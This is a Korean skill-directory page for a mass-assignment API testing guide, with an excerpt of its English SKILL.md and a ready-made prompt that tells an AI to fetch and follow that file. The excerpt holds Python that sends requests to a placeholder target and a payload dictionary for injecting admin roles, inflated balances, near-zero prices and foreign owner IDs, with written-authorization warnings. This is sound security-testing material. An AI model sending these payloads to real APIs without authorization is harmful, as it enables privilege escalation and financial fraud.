본문으로 건너뛰기
Skillpedia
테스트35k · #8379

testing-api-for-mass-assignment-vulnerability

하는 일

이 도구는 웹사이트가 일반 사용자에게 제한되어야 할 정보, 예를 들어 접근 수준(일반 사용자에서 관리자로)이나 계정 잔액을 바꾸도록 허용하는지 확인합니다. 이를 위해 웹사이트로 보내는 요청에 추가 데이터를 넣어 봅니다.

사용하는 경우

  • ✓사용자 프로필을 만들거나 편집할 수 있는 웹사이트를 테스트할 때.
  • ✓사용자가 의도하지 않은 권한(예: 관리자 권한)을 얻을 수 있다고 의심될 때.
  • ✓웹사이트가 민감한 데이터를 실수로 수정하지 않도록 막는지 확인할 때.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“프로필 편집 양식에서 ‘접근 수준’을 ‘관리자’로 바꿀 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 허용되지 않아야 할 추가 데이터를 담아 웹사이트에 요청을 보냅니다. 웹사이트가 이 변경을 받아들여 저장하는지 관찰하며, 그렇다면 보안 결함이 있다는 뜻입니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Testing API for Mass Assignment Vulnerability

When to Use

  • Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
  • Assessing whether the API binds all client-supplied properties to the data model without an allowlist
  • Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
  • Testing APIs built with ORMs that auto-bind request parameters to database models
  • Validating that server-side input validation restricts writeable properties per user role

Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

Prerequisites

  • Written authorization specifying target API endpoints and scope
  • Test accounts at different privilege levels
  • API documentation or OpenAPI specification to identify expected request fields
  • Burp Suite Professional for request interception and parameter injection
  • Python 3.10+ with requests library
  • Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

Workflow

Step 1: Identify Writable Endpoints and Expected Parameters

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

Step 2: Inject Privileged Fields

# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"


…
자주 묻는 질문

이 도구를 쓰려면 허가가 필요한가요?

네, 어떤 웹사이트를 테스트하기 전에도 서면 허가가 반드시 필요합니다. 허가 없이 테스트하면 불법이거나 피해를 줄 수 있습니다.

‘대량 할당(mass assignment)’이란 무엇인가요?

웹사이트가 사용자에게 바꿔서는 안 되는 데이터, 예를 들어 자신의 권한 수준을 관리자로 바꾸는 것을 허용하는 보안 결함입니다.

이 도구의 사전 요구 사항은 무엇인가요?

서면 허가, 권한 수준이 다른 테스트 계정, API 문서, 그리고 Burp Suite나 Python 같은 도구가 필요합니다.

상세 정보

작성자의 원본 설명

Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints. '

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#8379
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬